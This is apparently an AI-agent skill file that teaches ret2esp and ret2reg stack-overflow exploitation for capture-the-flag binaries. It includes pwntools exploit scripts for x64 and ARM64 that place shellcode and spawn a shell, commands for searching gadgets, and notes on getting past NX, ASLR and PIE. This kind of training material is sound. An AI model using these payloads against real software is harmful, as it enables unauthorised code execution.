| name | ret2esp-ret2reg-exploitation |
| description | How to perform ret2esp and ret2reg exploitation techniques for binary exploitation. Use this skill whenever the user mentions stack pivoting, ret2esp, ret2reg, ret2eax, jmp esp, call esp, stack pointer manipulation, or needs to bypass NX/ASLR/PIE protections in binary exploitation challenges. This skill covers x86/x64 and ARM64 architectures. |
Ret2esp / Ret2reg Exploitation
This skill guides you through ret2esp and ret2reg exploitation techniques for binary exploitation challenges.
When to Use This Skill
Use this skill when:
- You need to redirect execution to shellcode on the stack
- You're working with stack buffer overflow vulnerabilities
- You need to bypass NX protection by jumping to shellcode
- You're dealing with ASLR/PIE and need to find reliable gadgets
- You're working on ARM64 binaries and need ret2sp/ret2reg alternatives
- You need to pivot the stack pointer to execute shellcode
Core Concepts
Ret2esp
Ret2esp redirects execution to the stack pointer (ESP/RSP) by:
- Overwriting EIP/RIP with the address of a
jmp esp or call esp instruction
- Placing shellcode immediately after the overwritten return address
- When
ret executes, ESP points to the shellcode
Key advantage: Shellcode is placed after EIP corruption, avoiding interference from push/pop operations during function execution.
Ret2reg
Ret2reg uses register-based jumps when a register contains a useful address:
- Ret2eax: Use
call eax or jmp eax when EAX holds the shellcode address
- Ret2reg: Any register containing an interesting address can be used
- Common scenario: Functions that return buffer addresses (e.g.,
strcpy returns destination address in EAX)
Architecture-Specific Techniques
x86/x64
Finding Gadgets
ROPgadget --binary ./vuln | grep -iE "(jmp|call) (esp|rsp)"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep -iE "(jmp|call) (esp|rsp)"
from pwn import *
elf = ELF('./vuln')
next(elf.search(asm('jmp rsp')))
Stack Pivot When Space is Limited
If you lack space after overwriting RIP, use a stack pivot gadget:
payload = b'A' * offset
payload += p64(pivot_gadget)
payload += shellcode
Example Exploit (x64)
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
p.sendlineafter(b'RSP!\n', payload)
p.interactive()
ARM64
Ret2sp Limitations
ARM64 does not have direct jmp sp instructions. You need to:
- Find gadgets that move SP to a register
- Then jump to that register
for i in $(seq 1 30); do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | \
grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"
done
Ret2reg on ARM64
Use x0 (return value register) when functions return buffer addresses:
ROPgadget --binary ./binary | grep -Ei " b[a-z]* x[0-9][0-9]?"
Example Exploit (ARM64)
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0)
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
Protection Considerations
NX (No-Execute)
- Impact: If stack is non-executable, ret2esp/ret2reg won't work directly
- Bypass: Use ROP chains to call
system() or similar functions instead of shellcode
ASLR (Address Space Layout Randomization)
- Impact: Makes finding reliable gadget addresses difficult
- Bypass options:
- Leak addresses first (format string, info leak)
- Use gadgets in the vulnerable binary itself (if PIE is disabled)
- Brute force (only works with limited entropy)
PIE (Position Independent Executable)
- Impact: Binary base address is randomized
- Bypass options:
- Leak the binary base address
- Use relative gadgets (rare)
- Combine with ASLR bypass
Common Patterns
Pattern 1: Direct Ret2esp
payload = b'A' * offset
payload += p64(jmp_esp_gadget)
payload += shellcode
Pattern 2: Stack Pivot + Ret2esp
payload = b'A' * offset
payload += p64(pivot_gadget)
payload += shellcode
Pattern 3: Ret2reg with Function Return
payload = b'A' * offset
payload += p64(jmp_eax_gadget)
Pattern 4: ARM64 Ret2x0
payload = shellcode + b'A' * (offset - len(shellcode)) + p64(br_x0_gadget)
Debugging Tips
Verify Gadget Addresses
from pwn import *
elf = ELF('./vuln')
print(hex(next(elf.search(asm('jmp rsp')))))
gdb.attach(p)
gdb.execute(f'x/1i {gadget_addr}')
Check Stack Layout
from pwn import *
context.binary = ELF('./vuln')
p = process()
pattern = cyclic(100)
p.sendline(pattern)
Test Shellcode Placement
from pwn import *
p = process('./vuln')
gdb.attach(p)
Quick Reference
| Technique | Architecture | Gadget Needed | Shellcode Location |
|---|
| Ret2esp | x86/x64 | jmp esp / call esp | After return address |
| Ret2reg | x86/x64 | jmp reg / call reg | In register's address |
| Ret2sp | ARM64 | mov xN, sp; br xN | After pivot |
| Ret2x0 | ARM64 | br x0 | In buffer (x0 points to it) |
Next Steps
- Find the vulnerability: Identify buffer overflow and offset
- Check protections: Determine NX, ASLR, PIE status
- Find gadgets: Use ROPgadget or pwn search
- Craft payload: Follow patterns above
- Test and debug: Use GDB to verify execution flow
- Iterate: Adjust offsets and addresses as needed
References